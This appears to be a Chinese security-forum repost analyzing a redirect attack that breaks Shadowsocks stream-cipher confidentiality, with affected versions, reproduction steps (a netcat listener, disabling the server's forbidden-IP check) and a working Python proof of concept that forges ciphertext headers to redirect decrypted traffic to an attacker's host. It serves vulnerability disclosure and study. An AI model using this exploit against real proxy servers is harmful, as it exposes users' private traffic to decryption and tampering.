安全矩阵

 找回密码
 立即注册
搜索
查看: 4763|回复: 0

Shadowsocks 重定向攻击分析

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-8-20 15:10:04 | 显示全部楼层 |阅读模式
Shadowsocks 重定向攻击分析
来源于公众号:程序员阿甘
本文原创分析作者  
360核心团队 Zhizhiang Peng
原创链接:https://mp.weixin.qq.com/s?__biz=MzI4MTkzNDIyMg==&mid=2247489308&idx=1&sn=05986e195935144fcd8ab07c407a2910&chksm=eba0f7fddcd77eebc9fa8eeffeed3cb0e211268f206013a39f85aceaad9fb8efe197b16ee53d&mpshare=1&scene=23&srcid=0820noVqNtS3Z2985IRABQ1Y&sharer_sharetime=1597882729785&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd



0x00 简介


    Shadowsocks是一款科学上网工具,基于Socks5代理方式的加密传输协议.在中国广泛使用.前几个月 360核心团队 Zhizhiang Peng发现了shadowsocks协议中的一个漏洞,该漏洞打破了shadowsocks流密码的机密性.被动攻击者可以使用我们的重定向攻击轻松解密所有加密的shadowsocks数据包.更重要的是,中间人攻击者可以实时修改流量,就像根本没有加密一样.

0x01:受影响版本

  • shadowsocks-py
  • shadowsocoks-go
  • shadowsocoks-nodejs



0x02:建议使用版本

  • shadowsocks-libev
  • go-shadowsocks2
  • 并且仅使用AEAD密码



0x03:shadowsocks工作思路

    Shadowsocks本地组件(ss-local)的作用类似于传统的SOCKS5服务器为客户端提供代理服务.它加密和转发数据流和数据包客户端到Shadowsocks远程组件(ss-remote),后者解密并转发到目标.从目标也同样加密和转播 Replies ss-remote回到sslocal, 解密和最终返回到原来的客户端.
  1. 客户< - - - > ss-local <——(加密)——> ss-remote < - - - >目标
复制代码



0x04:整体逻辑


    浏览器使用 socks5代理,将数据发给 sslocal服务,sslocal 将数据加密后传递给 ssserver,ssserver 解密数据,访问指定资源,返回加密的数据,sslocal 再解密返回给浏览器.
    整个过程比较容易理解,接下来通过阅读代码的方式讲一下整个流程,着重看数据拼接和加密部分.

sslocal发包流程:

tcpRelay.py 中,类TCPRelayHandler 构造方法里,主动创建 Encryptor结构体.
Encryptor 结构体初始化时,使用 config 里的“PASS”密钥,作为种子生成真正的 key,将来长期使用,随机产生 rand_iv,在当前数据包中使用.
使用命令
  1. curl --socks5 127.0.0.1:1080 http://a.baidu.com
复制代码


使用socks5 代理,尝试访问 a.baidu.com.
tcpRelay.py中,_handle_stage_addr收到socks5 的协议头,稍加解析和验证,将该数据使用 AES.update(socks5Header)
tcpRelay.py 中,_handle_stage_connecting 收到 HTTP 请求的数据,并将改数据使用 AES.update(httpRequest)
  1. 最终组合好的明文数据是:
  2. data = sock5Header + httpRequest
  3. 最终发给服务器最后的数据是:
  4. rand_iv + AES-cfb(key, rand_iv, data)
  5. ssserver收包过程省略、ssserver 发包过程省略
  6. sslocal收包
复制代码


tcpRelay.py 中,_on_remote_read 收到了 ssserver 返回的数据,前 16 字节是server 生成的 rand_iv2,后面的数据是密文,解密后就是返回包的内容.
  1. 相当于:
  2. httpResponse = AES-cfb(key, rand_iv2, recv_data)
复制代码

攻击者只知道 rand_iv、rand_iv2,不知道key,因此无法直接解密整个request 和 response.


0x05:场景的分析

针对IP直连的攻击

    浏览器使用socks5代理,通过客户端去访问a.baidu.com的IP地址,攻击者拿到加密的返回包,可以破解httpResponse内容(大部分内容).

一、启动ssserver,python3 myserver.py;
二、启动sslocal,python3 myclient.py;
三、开启wireshark,
四、使用curl发包curl --socks5 127.0.0.1:1080 http://a.baidu.com,
五、收到返回“ OK”,
六、保存为ss_ip_direct.pcapng
七、攻击者监听 127.0.0.1:1083
八、攻击者解析ss_ip_direct.pcapng中的返回包,纠正改写,将目标地址从baidu的IP写为127.0.0.1:1083纠正改后发给1081

    恶意攻击总计1081将数据解密,发送给127.0.0.1:1083(或任意指定的IP和端口)
    默认ssserver不会发数据给127.0.0.1:1083,需要临时将_create_remote_socket下面该检查补丁掉!或者把目标改成一台公网IP和端口
  1. if self._forbidden_iplist:
  2.         if common.to_str(sa[0]) in self._forbidden_iplist:
  3.             raise Exception('IP %s is in forbidden list, reject' %
  4.                 common.to_str(sa[0]))
复制代码



为了方便复现,已经抓到一组包,只需要执行下面的三句代码即可:

  1. python3 myserver.py 启动ssserver

  2. nc -lk 1083 监听1083端口

  3. python3 ip_direct_attack.py 读取密文,伪改密文,发送给ssserver
复制代码


之后观察1083,会出现下图的样子



针对域名访问的攻击
    浏览器使用socks5代理,通过客户端去访问a.baidu.com的域名地址,攻击者拿到加密的请求包,可以破解httpRequest内容(大部分内容).

一、启动ssserver,python3 myserver.py;
二、启动sslocal,python3 myclient.py;
三、开启wireshark,
四、使用Safari浏览器挂个代理,收到返回“ OK”,保存为 ss_domain.pcapng
五、攻击者监听127.0.0.1:1083,并且申请a.baidu.abc域名,指向自己的服务器;(此处为了演示,在本地主机里干了这件事)

    攻击者解析ss_domain.pcapng中的请求包,篡改头部,将a.baidu.com对划线a.baidu.abc,篡改后发给1081
    恶意攻击总计1081将数据解密,发送给a.baidu.abc:1083(或任意指定的域名和端口)
    默认ssserver不会发数据给127.0.0.1:1083,需要临时将_create_remote_socket下面该检查补丁掉!或者把目标改成一台公网IP和端口

为了方便复现,已经抓到一组包,只需要执行下面的四句代码即可:
  1. 127.0.0.1 a.baidu.abc 加入房东

  2. python3 myserver.py 启动ssserver

  3. nc -lk 1083 监听1083端口

  4. python3 domain_attack.py 读取密文,伪改密文,发送给ssserver
复制代码



之后观察1083,会出现下图的样子


演示过程:
  1. #ip_direct_attack.py
  2. from scapy.packet import Raw
  3. from scapy.all import rdpcap
  4. import socket
  5. import struct
  6. import time

  7. packets = rdpcap("ss_ip_direct.pcapng")
  8. pkg_send, pkg_recv = None, None

  9. for p in packets:
  10.     if p['TCP'] and p['TCP'].dport == 1081 and isinstance(p['TCP'].payload, Raw):
  11.         pkg_send = p
  12.     if p['TCP'] and p['TCP'].sport == 1081 and isinstance(p['TCP'].payload, Raw):
  13.         pkg_recv = p

  14. send_iv, send_data = pkg_send['TCP'].payload.load[:16], pkg_send['TCP'].payload.load[16:]
  15. recv_iv, recv_data = pkg_recv['TCP'].payload.load[:16], pkg_recv['TCP'].payload.load[16:]

  16. predict_data = b"HTTP/1.1"
  17. predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])

  18. target_ip = "127.0.0.1"
  19. target_port = 1083
  20. fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))
  21. fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
  22. fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
  23. print(fake_data.hex())

  24. s = socket.socket()
  25. s.connect(("127.0.0.1", 1081))
  26. s.send(fake_data)
  27. print('Tcp sending... ')
  28. time.sleep(3)
  29. s.close()
复制代码




0x06:Referer:

以上逻辑分析源自



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 05:52 , Processed in 0.012985 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表